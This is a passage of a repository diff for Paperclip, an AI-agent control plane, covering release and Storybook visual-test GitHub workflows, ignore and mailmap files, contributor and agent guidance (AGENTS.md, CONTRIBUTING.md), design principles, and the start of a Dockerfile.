- name: Push canary tag
run: |
tag="$(git tag --points-at HEAD | grep '^canary/v' | head -1)"
if [ -z "$tag" ]; then
echo "Error: no canary tag points at HEAD after release." >&2
exit 1
fi
git push origin "refs/tags/${tag}"
verify_stable:
if: github.event_name == 'workflow_dispatch'
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Typecheck
run: pnpm -r typecheck
- name: Run tests
run: pnpm test:run
- name: Build
run: pnpm build
preview_stable:
if: github.event_name == 'workflow_dispatch' && inputs.dry_run
needs: verify_stable
runs-on: ubuntu-latest
timeout-minutes: 45
permissions:
contents: read
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Validate release package manifest
run: node ./scripts/release-package-map.mjs check
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Dry-run stable release
env:
GITHUB_ACTIONS: "true"
run: |
args=(stable --skip-verify --dry-run)
if [ -n "${{ inputs.stable_date }}" ]; then
args+=(--date "${{ inputs.stable_date }}")
fi
./scripts/release.sh "${args[@]}"
publish_stable:
if: github.event_name == 'workflow_dispatch' && !inputs.dry_run
needs: verify_stable
runs-on: ubuntu-latest
timeout-minutes: 45
environment: npm-stable
permissions:
contents: write
id-token: write
steps:
- name: Checkout repository
uses: actions/checkout@v7
with:
fetch-depth: 0
ref: ${{ inputs.source_ref }}
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --no-frozen-lockfile
- name: Restore tracked install-time changes
run: git checkout -- pnpm-lock.yaml
- name: Configure git author
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
- name: Publish stable
env:
GITHUB_ACTIONS: "true"
run: |
args=(stable --skip-verify)
if [ -n "${{ inputs.stable_date }}" ]; then
args+=(--date "${{ inputs.stable_date }}")
fi
./scripts/release.sh "${args[@]}"
- name: Push stable tag
run: |
tag="$(git tag --points-at HEAD | grep '^v' | head -1)"
if [ -z "$tag" ]; then
echo "Error: no stable tag points at HEAD after release." >&2
exit 1
fi
git push origin "refs/tags/${tag}"
- name: Create GitHub Release
env:
GH_TOKEN: ${{ github.token }}
PUBLISH_REMOTE: origin
run: |
version="$(git tag --points-at HEAD | grep '^v' | head -1 | sed 's/^v//')"
if [ -z "$version" ]; then
echo "Error: no v* tag points at HEAD after stable release." >&2
exit 1
fi
./scripts/create-github-release.sh "$version"
+102
View File
@@ -0,0 +1,102 @@
name: Storybook Visual
on:
workflow_dispatch:
inputs:
update_snapshots:
description: "Generate updated snapshots and a baseline review bundle"
required: false
type: boolean
default: false
pull_request:
branches:
- master
types:
- opened
- reopened
- synchronize
- labeled
concurrency:
group: storybook-visual-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
visual:
name: Storybook visual regression
if: >-
github.event_name == 'workflow_dispatch' ||
(github.event_name == 'pull_request' && contains(github.event.pull_request.labels.*.name, 'storybook-visual'))
runs-on: ubuntu-latest
timeout-minutes: 35
steps:
- name: Checkout repository
uses: actions/checkout@v7
- name: Setup pnpm
uses: pnpm/action-setup@v6
with:
version: 9.15.4
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 24
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Install Playwright Chromium
run: npx playwright install --with-deps chromium
- name: Cache Storybook visual baseline archive
uses: actions/cache@v5
with:
path: tests/storybook-visual/.cache
key: storybook-visual-baseline-${{ runner.os }}-${{ hashFiles('tests/storybook-visual/baseline-manifest.json') }}
- name: Download Storybook visual baseline
run: pnpm storybook-visual:baseline download
- name: Verify Storybook visual baseline
run: pnpm storybook-visual:baseline verify
- name: Build Storybook
run: pnpm build-storybook
- name: Run Storybook visual tests
if: ${{ github.event.inputs.update_snapshots != 'true' }}
run: npx playwright test --config tests/storybook-visual/playwright.config.ts
- name: Generate updated snapshots for review
if: ${{ github.event.inputs.update_snapshots == 'true' }}
run: npx playwright test --config tests/storybook-visual/playwright.config.ts --update-snapshots
- name: Pack updated baseline review bundle
if: ${{ github.event.inputs.update_snapshots == 'true' }}
run: pnpm storybook-visual:baseline pack
- name: Upload Storybook visual report
uses: actions/upload-artifact@v7
if: always()
with:
name: storybook-visual-report-${{ github.run_id }}
path: |
tests/storybook-visual/playwright-report/
tests/storybook-visual/test-results/
retention-days: 30
if-no-files-found: warn
- name: Upload updated baseline review bundle
uses: actions/upload-artifact@v7
if: ${{ github.event.inputs.update_snapshots == 'true' }}
with:
name: storybook-visual-baseline-review-${{ github.run_id }}
path: tests/storybook-visual/baseline-review/snapshots.tgz
retention-days: 30
if-no-files-found: error
+68
View File
@@ -0,0 +1,68 @@
node_modules
node_modules/
**/node_modules
**/node_modules/
dist/
ui/storybook-static/
.env
*.tsbuildinfo
drizzle/meta/
.vite/
coverage/
.DS_Store
data/
.paperclip/
.pnpm-store/
tmp-*
cli/tmp/
# Scratch/seed scripts (but not scripts/ dir)
check-*.mjs
!.github/scripts/check-*.mjs
!.github/scripts/tests/check-*.mjs
!scripts/check-*.mjs
new-agent*.json
newcompany.json
seed-*.mjs
server/check-*.mjs
server/seed-*.mjs
packages/db/seed-*.mjs
# npm publish build artifacts
cli/package.dev.json
# Build artifacts in src directories
server/src/**/*.js
server/src/**/*.js.map
server/src/**/*.d.ts
server/src/**/*.d.ts.map
tmp/
feedback-export-*
diagnostics/
# Editor / tool temp files
*.tmp
.vscode/
.claude/settings.local.json
.paperclip-local/
.paperclip-runtime/
/.idea/
/.agents/
# Doc maintenance cursor
.doc-review-cursor
# Playwright
tests/e2e/test-results/
tests/e2e/playwright-report/
tests/release-smoke/test-results/
tests/release-smoke/playwright-report/
tests/storybook-visual/.cache/
tests/storybook-visual/.snapshots/
tests/storybook-visual/baseline-review/
tests/storybook-visual/test-results/
tests/storybook-visual/playwright-report/
.superset/
.superpowers/
.claude/worktrees/
.herenow
+3
View File
@@ -0,0 +1,3 @@
Dotta <bippadotta@protonmail.com> <34892728+cryppadotta@users.noreply.github.com>
Dotta <bippadotta@protonmail.com> <forgottenrunes@protonmail.com>
Dotta <bippadotta@protonmail.com> <dotta@example.com>
+1
View File
@@ -0,0 +1 @@
auto-install-peers=true
+226
View File
@@ -0,0 +1,226 @@
# AGENTS.md
Guidance for human and AI contributors working in this repository.
## 1. Purpose
Paperclip is a control plane for AI-agent companies.
The current implementation target is V1 and is defined in `doc/SPEC-implementation.md`.
## 2. Read This First
Before making changes, read in this order:
1. `doc/GOAL.md`
2. `doc/PRODUCT.md`
3. `doc/SPEC-implementation.md`
4. `doc/DEVELOPING.md`
5. `doc/DATABASE.md`
`doc/SPEC.md` is long-horizon product context.
`doc/SPEC-implementation.md` is the concrete V1 build contract.
## 3. Repo Map
- `server/`: Express REST API and orchestration services
- `ui/`: React + Vite board UI
- `packages/db/`: Drizzle schema, migrations, DB clients
- `packages/shared/`: shared types, constants, validators, API path constants
- `packages/adapters/`: agent adapter implementations (Claude, Codex, Cursor, etc.)
- `packages/adapter-utils/`: shared adapter utilities
- `packages/plugins/`: plugin system packages
- `doc/`: operational and product docs
## 4. Dev Setup (Auto DB)
Use embedded PGlite in dev by leaving `DATABASE_URL` unset.
```sh
pnpm install
pnpm dev
```
This starts:
- API: `http://localhost:3100`
- UI: `http://localhost:3100` (served by API server in dev middleware mode)
Quick checks:
```sh
curl http://localhost:3100/api/health
curl http://localhost:3100/api/companies
```
Reset local dev DB:
```sh
rm -rf data/pglite
pnpm dev
```
## 5. Core Engineering Rules
1. Keep changes company-scoped.
Every domain entity should be scoped to a company and company boundaries must be enforced in routes/services.
2. Keep contracts synchronized.
If you change schema/API behavior, update all impacted layers:
- `packages/db` schema and exports
- `packages/shared` types/constants/validators
- `server` routes/services
- `ui` API clients and pages
3. Preserve control-plane invariants.
- Single-assignee task model
- Atomic issue checkout semantics
- Approval gates for governed actions
- Budget hard-stop auto-pause behavior
- Activity logging for mutating actions
4. Do not replace strategic docs wholesale unless asked.
Prefer additive updates. Keep `doc/SPEC.md` and `doc/SPEC-implementation.md` aligned.
5. Keep repo plan docs dated and centralized.
When you are creating a plan file in the repository itself, new plan documents belong in `doc/plans/` and should use `YYYY-MM-DD-slug.md` filenames. This does not replace Paperclip issue planning: if a Paperclip issue asks for a plan, update the issue `plan` document per the `paperclip` skill instead of creating a repo markdown file.
6. Attach inspectable generated artifacts.
When your task produces a user-inspectable deliverable file, follow the Paperclip skill's "Generated Artifacts and Work Products" workflow before final disposition. In this repo, prefer the self-contained skill helper at `skills/paperclip/scripts/paperclip-upload-artifact.sh` so the file is available through the Paperclip API, create/update an artifact work product when the file is the deliverable, link the uploaded artifact in the final issue comment, and then set status. Do not rely on local filesystem paths as the only access path. If an important file intentionally remains workspace-only, create/update a work product with `metadata.resourceRef.kind: "workspace_file"` and a workspace-relative path, then name that work product and path in the final comment. Treat browse/search as a fallback for recovering workspace files, not the preferred deliverable path. See `doc/AGENT-ARTIFACTS.md` for details and `.mp4`/`.webm` examples.
## 6. Database Change Workflow
When changing data model:
1. Edit `packages/db/src/schema/*.ts`
2. Ensure new tables are exported from `packages/db/src/schema/index.ts`
3. Generate migration:
```sh
pnpm db:generate
```
4. Validate compile:
```sh
pnpm -r typecheck
```
Notes:
- `packages/db/drizzle.config.ts` reads compiled schema from `dist/schema/*.js`
- `pnpm db:generate` compiles `packages/db` first
## 7. Verification Before Hand-off
Default local/agent test path:
```sh
pnpm test
```
This is the cheap default and only runs the Vitest suite. Browser suites stay opt-in:
```sh
pnpm test:e2e
pnpm test:release-smoke
```
Run the browser suites only when your change touches them or when you are explicitly verifying CI/release flows.
For normal issue work, run the smallest relevant verification first. Do not default to repo-wide typecheck/build/test on every heartbeat when a narrower check is enough to prove the change.
Run this full check before claiming repo work done in a PR-ready hand-off, or when the change scope is broad enough that targeted checks are not sufficient:
```sh
pnpm -r typecheck
pnpm test:run
pnpm build
```
If anything cannot be run, explicitly report what was not run and why.
## 8. API and Auth Expectations
- Base path: `/api`
- Board access is treated as full-control operator context
- Agent access uses bearer API keys (`agent_api_keys`), hashed at rest
- Agent keys must not access other companies
When adding endpoints:
- apply company access checks
- enforce actor permissions (board vs agent)
- write activity log entries for mutations
- return consistent HTTP errors (`400/401/403/404/409/422/500`)
## 9. UI Expectations
- Keep routes and nav aligned with available API surface
- Use company selection context for company-scoped pages
- Surface failures clearly; do not silently ignore API errors
## 10. Pull Request Requirements
When creating a pull request (via `gh pr create` or any other method), you **must** read and fill in every section of [`.github/PULL_REQUEST_TEMPLATE.md`](.github/PULL_REQUEST_TEMPLATE.md). Do not craft ad-hoc PR bodies — use the template as the structure for your PR description. Required sections:
- **Thinking Path** — trace reasoning from project context to this change (see `CONTRIBUTING.md` for examples)
- **What Changed** — bullet list of concrete changes
- **Verification** — how a reviewer can confirm it works
- **Risks** — what could go wrong
- **Model Used** — the AI model that produced or assisted with the change (provider, exact model ID, context window, capabilities). Write "None — human-authored" if no AI was used.
- **Checklist** — all items checked
## 11. Definition of Done
A change is done when all are true:
1. Behavior matches `doc/SPEC-implementation.md`
2. Typecheck, tests, and build pass
3. Contracts are synced across db/shared/server/ui
4. Docs updated when behavior or commands change
5. PR description follows the [PR template](.github/PULL_REQUEST_TEMPLATE.md) with all sections filled in (including Model Used)
## 11. Fork-Specific: HenkDz/paperclip
This is a fork of `paperclipai/paperclip` with QoL patches and a **built-in** Hermes adapter story on branch `feat/externalize-hermes-adapter` ([tree](https://github.com/HenkDz/paperclip/tree/feat/externalize-hermes-adapter)).
### Branch Strategy
- `feat/externalize-hermes-adapter` now ships `hermes_local` and `hermes_gateway` as built-in core adapters.
- Older fork branches may still document plugin-only Hermes; treat this file as authoritative for the current branch.
### Hermes (built-in)
- `hermes_local` is available without Adapter manager installation and runs the local Hermes CLI.
- `hermes_gateway` is available without Adapter manager installation and calls an already-running Hermes API server.
- Operators may still install external Hermes packages through Adapter manager to override/shadow the built-ins.
- Optional: `file:` entry in `~/.paperclip/adapter-plugins.json` remains useful for local development of override packages.
### Local Dev
- Fork runs on port 3101+ (auto-detects if 3100 is taken by upstream instance)
- `npx vite build` hangs on NTFS — use `node node_modules/vite/bin/vite.js build` instead
- Server startup from NTFS takes 30-60s — don't assume failure immediately
- Kill ALL paperclip processes before starting: `pkill -f "paperclip"; pkill -f "tsx.*index.ts"`
- Vite cache survives `rm -rf dist` — delete both: `rm -rf ui/dist ui/node_modules/.vite`
### Fork QoL Patches (not in upstream)
These are local modifications in the fork's UI. If re-copying source, these must be re-applied:
1. **stderr_group** — amber accordion for MCP init noise in `RunTranscriptView.tsx`
2. **tool_group** — accordion for consecutive non-terminal tools (write, read, search, browser)
3. **Dashboard excerpt** — `LatestRunCard` strips markdown, shows first 3 lines/280 chars
### Plugin System
PR #2218 (`feat/external-adapter-phase1`) adds external adapter support. See root `AGENTS.md` for full details.
- Adapters can be loaded as external plugins via `~/.paperclip/adapter-plugins.json`
- The plugin-loader should have ZERO hardcoded adapter imports — pure dynamic loading
- `createServerAdapter()` must include ALL optional fields (especially `detectModel`)
- Built-in UI adapters can shadow external plugin parsers; external override pause/resume should restore the built-in parser.
- Reference external adapters: Droid (npm); Hermes can also be tested as an override package.
## Design system
`DESIGN.md` at the repo root is the source of truth for UI design decisions. The token-only rule applies to all `ui/` changes: every color, spacing, radius, type, shadow, and motion value in `ui/src/components/**` and `ui/src/pages/**` comes from the token layer in `ui/src/index.css` — no hex, raw px, arbitrary Tailwind bracket values, or raw `font-size`/`fontSize` declarations in components, outside the documented allowlist in `ui/src/index.css`. Run `pnpm check:token-gates` (`scripts/check-token-gates.mjs`) before committing UI changes — it fails on any violation not covered by that allowlist.
+188
View File
@@ -0,0 +1,188 @@
# Contributing Guide
Thanks for wanting to contribute!
We really appreciate both small fixes and thoughtful larger changes.
## Before You Start: Search First
Before you start work, **search GitHub** for existing PRs and issues that touch the same area:
- Look for **duplicate or in-flight PRs**. If something close already exists, prefer helping that PR over the line (see [Helping Other Contributors](#helping-other-contributors)) instead of opening a parallel one.
- Look for **related open issues**. Link them in your PR body.
- If an older PR is effectively dead (stale, unmaintained, would be painful to rebase/merge), a fresh PR is fine — just call out the prior PR in your description so the reviewer has context.
Duplicate PRs create extra work for reviewers and make merging harder. A 60-second search saves hours later.
Affirm that you did this search by checking the dedup-search box in the PR template (`I have searched GitHub for duplicate or related PRs and linked them above`). Commitperclip checks for this checkbox on non-trivial PRs.
## Two Paths to Get Your Pull Request Accepted
### Path 1: Small, Focused Changes (Fastest way to get merged)
- Pick **one** clear thing to fix/improve
- Touch the **smallest possible number of files**
- Make sure the change is very targeted and easy to review
- All tests pass and CI is green
- Greptile score is 5/5 with all comments addressed
- Use the [PR template](.github/PULL_REQUEST_TEMPLATE.md)
These almost always get merged quickly when they're clean.
### Path 2: Bigger or Impactful Changes
- **First** talk about it in Discord → #dev channel
→ Describe what you're trying to solve
→ Share rough ideas / approach
- Once there's rough agreement, build it
- In your PR include:
- Clear description of what & why
- Proof it works (manual testing notes)
- All tests passing and CI green
- Greptile score 5/5 with all comments addressed
- [PR template](.github/PULL_REQUEST_TEMPLATE.md) fully filled out
PRs that follow this path are **much** more likely to be accepted, even when they're large.
## PR Requirements (all PRs)
### Use the PR Template
Every pull request **must** follow the PR template at [`.github/PULL_REQUEST_TEMPLATE.md`](.github/PULL_REQUEST_TEMPLATE.md). If you create a PR via the GitHub API or other tooling that bypasses the template, copy its contents into your PR description manually. The template includes required sections: Thinking Path, What Changed, Verification, Risks, Model Used, and a Checklist.
### Link Issues or Describe Them In-PR
We do not gate PRs on a pre-existing issue. Two acceptable paths:
1. **Issue exists** — search the [Issues database](https://github.com/paperclipai/paperclip/issues) for anything this PR addresses and tag each one with `Fixes: #123` / `Closes #123` / `Refs #123` so GitHub auto-links them. If there are **duplicate or closely related issues**, link all of them, not just the one you picked. If there are **related PRs** (prior attempts, dependent work, follow-ups, abandoned predecessors), link those too.
2. **No issue exists** — describe the problem directly in your PR body, following one of our [issue templates](.github/ISSUE_TEMPLATE/) so a reviewer has the same fields they'd get from a filed issue:
- **Bug fix:** what happened, expected behavior, steps to reproduce, Paperclip version/commit, deployment mode. See [`bug_report.yml`](.github/ISSUE_TEMPLATE/bug_report.yml).
- **Feature:** problem/motivation, proposed solution, alternatives considered, roadmap alignment. See [`feature_request.yml`](.github/ISSUE_TEMPLATE/feature_request.yml).
- **New adapter:** agent or provider, why it's useful, how it's invoked. See [`adapter_request.yml`](.github/ISSUE_TEMPLATE/adapter_request.yml).
Either way, a reviewer should be able to understand the underlying issue without leaving the PR. Commitperclip may check that one of these two paths is satisfied. Only link **public** GitHub issues — see [No Internal Issue References](#no-internal-issue-references) for what to leave out.
### No Internal Issue References
Many contributors run their own Paperclip instance to manage their work. Issue ids and links from *your* instance are private — reviewers and other contributors cannot open them, so they show up as clutter or broken links.
In your PR title, description, commits, and comments, **only reference public GitHub issues and PRs** — `#123`, `Fixes #123` / `Closes #123` / `Refs #123`, or full `https://github.com/paperclipai/paperclip/...` URLs.
Do **not** include references to internal/instance-local Paperclip work, such as:
- Internal ticket ids like `PAPA-123`, `PAP-224`, or any `{PREFIX}-{NUMBER}` identifier that isn't a public GitHub issue number.
- Instance UI links such as `/PAP/issues/...`, `/PAP/agents/...`, `agent://...`, or document deep links.
- `localhost`, private IP, or tailnet URLs pointing at your own instance.
If an internal issue captured useful context, restate that context in plain English in the PR body instead of linking to it.
### Branch Naming
Tooling (including Paperclip) often names a working branch after an internal issue and task — e.g. `PAPA-42-why-did-this-break`. That name leaks instance-local context, isn't meaningful to reviewers, and ends up as the public branch on your PR.
Before you push, **rename the branch to something descriptive of the change itself**, not of your instance:
- Use short, kebab-case names scoped to the change, optionally with a conventional prefix: `docs/no-internal-issue-references`, `fix/sandbox-secret-resolution`, `feat/adapter-retry-backoff`.
- Do **not** include internal Paperclip ticket ids (`PAPA-123`, `PAP-224`), instance task slugs, or other instance-derived details in the branch name.
To rename and push under the new name:
```bash
git branch -m <descriptive-name>
git push -u origin <descriptive-name>
# If your tooling already pushed the old branch, delete it from origin:
git push origin --delete <old-name>
```
### Model Used (Required)
Every PR must include a **Model Used** section specifying which AI model produced or assisted with the change. Include the provider, exact model ID/version, context window size, and any relevant capability details (e.g., reasoning mode, tool use). If no AI was used, write "None — human-authored". This applies to all contributors — human and AI alike.
### Tests Must Pass
All tests must pass before a PR can be merged. Run them locally first and verify CI is green after pushing.
### Telemetry Changes
If your change adds, removes, or modifies emitted telemetry events, update the [Telemetry Data Contract](packages/shared/src/telemetry/README.md) in the same PR. Keep clients emitting raw dimension values and avoid documenting or relying on private delivery details.
### Paperclip Gates Must Pass
All Paperclip CI gates (lint, typecheck, tests, build, and any other required checks) must be satisfied before a PR can be merged. Don't ask for a merge while gates are red — fix them first.
### Greptile Review
We use [Greptile](https://greptile.com) for automated code review. Your PR must achieve a **5/5 Greptile score** before it can be merged, with:
- **No open P2 (or higher) comments**
- **No open recommendations**
- **No open follow-ups**
We hold the bar high here on purpose — we want code quality to be as high as possible. If Greptile leaves comments, fix them (or, if a comment is wrong, reply explaining why) and request a re-review.
## Helping Other Contributors
Fixing up someone else's stalled or almost-there PR is **strongly encouraged**. If a contributor has done most of the work but ran out of time or got stuck, picking up their branch, polishing it, and getting it over the line is one of the most valuable things you can do here.
When you do:
- Give credit. Mention the original author in the PR description and thank them.
- Preserve their commits where reasonable — don't squash them out of existence.
- Be kind in comments and reviews. People put real effort into their PRs, even the ones that didn't quite land.
A culture where contributors help each other ship is worth more than any single PR. Be generous with thanks.
## Feature Contributions
We actively manage the core Paperclip feature roadmap.
Uncoordinated feature PRs against the core product may be closed, even when the implementation is thoughtful and high quality. That is about roadmap ownership, product coherence, and long-term maintenance commitment, not a judgment about the effort.
If you want to contribute a feature:
- Check [ROADMAP.md](ROADMAP.md) first
- Start the discussion in Discord -> `#dev` before writing code
- If the idea fits as an extension, prefer building it with the [plugin system](doc/plugins/PLUGIN_SPEC.md)
- If you want to show a possible direction, reference implementations are welcome as feedback, but they generally will not be merged directly into core
Bugs, docs improvements, and small targeted improvements are still the easiest path to getting merged, and we really do appreciate them.
## General Rules (both paths)
- Write clear commit messages
- Keep PR title + description meaningful
- One PR = one logical change (unless it's a small related group)
- Run tests locally first
- Be kind in discussions 😄
## Writing a Good PR message
Your PR description must follow the [PR template](.github/PULL_REQUEST_TEMPLATE.md). All sections are required. The "thinking path" at the top explains from the top of the project down to what you fixed. E.g.:
### Thinking Path Example 1:
> - Paperclip is the open source app people use to manage AI agents for work
> - There are many types of adapters for each LLM model provider
> - But LLM's have a context limit and not all agents can automatically compact their context
> - So we need to have an adapter-specific configuration for which adapters can and cannot automatically compact their context
> - This pull request adds per-adapter configuration of compaction, either auto or paperclip managed
> - That way we can get optimal performance from any adapter/provider in Paperclip
### Thinking Path Example 2:
> - Paperclip is the open source app people use to manage AI agents for work
> - But humans want to watch the agents and oversee their work
> - Human users also operate in teams and so they need their own logins, profiles, views etc.
> - So we have a multi-user system for humans
> - But humans want to be able to update their own profile picture and avatar
> - But the avatar upload form wasn't saving the avatar to the file storage system
> - So this PR fixes the avatar upload form to use the file storage service
> - The benefit is we don't have a one-off file storage for just one aspect of the system, which would cause confusion and extra configuration
Then have the rest of your normal PR message after the Thinking Path.
This should include details about what you did, why you did it, why it matters & the benefits, how we can verify it works, and any risks.
Questions? Just ask in #dev — we're happy to help.
Happy hacking!
+58
View File
@@ -0,0 +1,58 @@
# Paperclip Design Principles
**Status:** v0.3 — anchor document for design-language simplification. Governs structure, not brand. Brand values (color, type, iconography) are intentionally unspecified: they are being redesigned and will land as token values only. Nothing in `ui/` may hardcode them. Spacing/radius scales are likewise TBD pending the token audit (see Principle 3).
Changes from v0.2: token layer location corrected to the repo's real source (`ui/src/index.css`); existing token tiers inventoried; snapshot-coverage scope bounded for Run 1; the issue→task copy rename moved out of the zero-visual-change run.
## What this document is for
Agents and humans modifying `ui/` treat this file as the source of truth for design decisions. Storybook is the verification surface — it documents the system; it does not define it. If a change conflicts with this document, change this document first (with review) or change the code.
## Product stance
Paperclip is an operational control plane: org charts, tasks, heartbeat runs, budgets, approvals, audit logs. The user is an operator scanning state and making decisions. Every screen should answer, in order: *what is happening, does it need me, what do I do about it.* Density in service of scanning beats whitespace in service of aesthetics — but density comes from information, never from chrome.
## The token layer (where visual values live)
The single token source is **`ui/src/index.css`** (Tailwind v4; there is no tailwind config file — tokens are CSS custom properties consumed via `@theme`). Do NOT create a parallel token source such as `ui/src/tokens/` — that would produce two sources of truth. If index.css grows unwieldy, extracted values may live in a `tokens.css` **imported by index.css** so the pipeline still has one root.
Tailwind v4 gotcha: `@theme inline` bakes literal values at build time. Any token that must be runtime-tunable (theme editor, dark mode overrides) must be defined in a NON-inline block.
Existing tiers already in index.css (~80+ tokens) — extraction maps to these on **exact value match** before minting anything new:
1. **Semantic tier** — shadcn core set: `--background`, `--foreground`, `--card`, `--primary`, `--secondary`, `--muted`, `--accent`, `--destructive`, `--border`, `--input`, `--ring`, `--sidebar-*`, `--chart-1..5` (OKLCH, light/dark overrides).
2. **Brand tier** — agent gradients `--agent-1a/1b..10a/10b` (fixed hex) and status hues `--status-task-*` / `--status-agent-*` (WCAG-tuned; see inline comments).
3. **Domain tier** — match-chip tokens `--chip-match-*`, annotation highlights `--paperclip-doc-annotation-highlight-*`, plus motion/typography tokens.
## Principles
1. **One way to say each thing.** One component per job. One Button, one Card, one Badge, one Table, one EmptyState. Variants are props, not new components. Before creating a component, prove no existing one covers the job.
2. **Tokens are the only source of visual values.** All color, spacing, radius, type size/weight, shadow, and motion values come from the token layer. No hex, no raw px, no ad-hoc Tailwind arbitrary values (`p-[13px]`) in components. If a needed value doesn't exist, add a token — don't inline it. Tailwind palette classes (`bg-red-500`, `text-zinc-400`, etc.) ARE hardcoded values in spirit: they name a literal color, not a semantic role. They are in-scope debt scheduled for a dedicated future run (Run 4, cluster-by-cluster mapping to semantic tokens per doc/design/DECISION-SHEET.md B2) and are not currently gated by check-token-gates. Exception (doc/design/DECISION-SHEET.md B1 user ruling): first-party intentional one-off decoration on demo/UX-lab surfaces stays inline and allowlisted rather than minted as singleton tokens.
3. **Spacing routes through tokens; the scale comes later.** During simplification, extract every spacing and radius value verbatim into tokens — do not normalize, round, or invent a scale. The final scale is a design decision made by a human after reviewing the token audit. Structural rules apply now: vertical rhythm within a container uses one gap value, not per-element margins, and siblings never carry both margin and gap.
4. **Hierarchy through structure, not decoration.** Prefer position, size, and weight over borders, backgrounds, and dividers. Every border, divider, and background fill must justify itself; when in doubt, remove it. A screen should survive the removal of one visual layer.
5. **Status is systematic.** States like running / paused / blocked / awaiting-approval / over-budget map to a single semantic status token set used identically everywhere (badge, row, chart, log). An operator learns the vocabulary once.
6. **Machine values look machine-made.** IDs, costs, token counts, timestamps, and log output use the monospace token and consistent formatting helpers. Never format these ad hoc per screen.
7. **Words are part of the system.** One name per concept across the entire UI — the canonical term is *task* (never *issue* or *ticket* in copy, labels, or empty states). Buttons name the action ("Approve hire," not "Submit"). Errors say what happened and what to do. Empty states say what to do first. **Note:** enforcing the task rename is a visible change and is explicitly OUT of the zero-visual-change extraction run; it happens in its own follow-up run.
8. **Agent-modifiable by design.** The system must be changeable via instructions: single token source, lint rules that enforce it, and this document kept current. A correct change should be expressible as "edit tokens + run checks," not "visit 40 files."
## Enforcement (what "compliant" means for the extraction run)
- **Zero visual change is proven, not promised:** Storybook visual snapshots are baselined before any refactor, and all snapshots match baseline after it. A change that alters rendered output must be intentional and human-approved.
- **Baseline scope for Run 1:** the shared primitives in `ui/src/components/ui/` (each gets a story if missing — there are only ~24) plus the ~46 existing stories under `ui/storybook/stories/`. Do NOT attempt a story for every feature component (~277) in this run; full coverage is a later effort.
- Mechanical rewrites (value extraction, renames) are done via committed codemod scripts in `scripts/`, not hand-edits — reviewable once, repeatable forever.
- Token layer is the single source (`ui/src/index.css`, per above) consumed via CSS variables / Tailwind theme — never values copied into components.
- Lint/grep gates pass: zero hardcoded hex values, zero arbitrary spacing values, zero raw font-size declarations in `ui/src/components/**` and `ui/src/pages/**` outside the token layer and a documented allowlist (third-party overrides, intentional opt-outs commented inline).
- `pnpm build`, `pnpm typecheck`, and `pnpm build-storybook` pass.
- AGENTS.md links here and states the token-only rule.
Aspirational (NOT gating this run): no duplicate components; every component has exactly one story covering its variants; all UI copy says "task".
## Out of scope (do not do during simplification)
No visual redesign, no new colors or typefaces, no layout restructuring, no new dependencies beyond snapshot tooling, no component consolidation/merges (audit + recommend only), no copy renames, no changes to server code or app logic. Simplification means fewer parts, same product.
## Prior art (read before auditing)
See `doc/design/PRIOR-ART.md` — a previous audit pass (PAP-280/283/284, on the `PAP-282-playground` branch, NOT on master) found that of ~220 hardcoded drift sites, only 6 were exact-value-mappable to existing tokens; expect the verbatim extraction to mint many new tokens that the human scale-collapse step later merges. It also drafted usage rules (radius tiers, CTA tiers, named type styles) that are good candidates for the post-audit scale decision.
How-to guide for day-to-day UI changes: see `doc/design/CHANGING-THE-UI.md`.
+90
View File
@@ -0,0 +1,90 @@
# syntax=docker/dockerfile:1.20
FROM node:lts-trixie-slim AS base
ARG USER_UID=1000
ARG USER_GID=1000
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates gosu curl gh git wget ripgrep python3 \
&& rm -rf /var/lib/apt/lists/* \
&& corepack enable
# Modify the existing node user/group to have the specified UID/GID to match host user
RUN usermod -u $USER_UID --non-unique node \
&& groupmod -g $USER_GID --non-unique node \
&& usermod -g $USER_GID -d /paperclip node
FROM base AS deps
WORKDIR /app
COPY package.json pnpm-workspace.yaml pnpm-lock.yaml .npmrc ./
COPY cli/package.json cli/
COPY server/package.json server/
COPY ui/package.json ui/
COPY packages/shared/package.json packages/shared/
COPY packages/db/package.json packages/db/
COPY packages/adapter-utils/package.json packages/adapter-utils/
COPY packages/mcp-server/package.json packages/mcp-server/
COPY packages/skills-catalog/package.json packages/skills-catalog/
COPY packages/teams-catalog/package.json packages/teams-catalog/
COPY packages/adapters/claude-local/package.json packages/adapters/claude-local/
COPY packages/adapters/codex-local/package.json packages/adapters/codex-local/
COPY packages/adapters/cursor-cloud/package.json packages/adapters/cursor-cloud/
COPY packages/adapters/cursor-local/package.json packages/adapters/cursor-local/
COPY packages/adapters/gemini-local/package.json packages/adapters/gemini-local/
COPY packages/adapters/grok-local/package.json packages/adapters/grok-local/
COPY packages/adapters/hermes/package.json packages/adapters/hermes/
COPY packages/adapters/hermes-gateway/package.json packages/adapters/hermes-gateway/
COPY packages/adapters/openclaw-gateway/package.json packages/adapters/openclaw-gateway/
COPY packages/adapters/opencode-local/package.json packages/adapters/opencode-local/
COPY packages/adapters/pi-local/package.json packages/adapters/pi-local/
COPY packages/plugins/sdk/package.json packages/plugins/sdk/
COPY --parents packages/plugins/sandbox-providers/./*/package.json packages/plugins/sandbox-providers/
COPY packages/plugins/paperclip-plugin-fake-sandbox/package.json packages/plugins/paperclip-plugin-fake-sandbox/
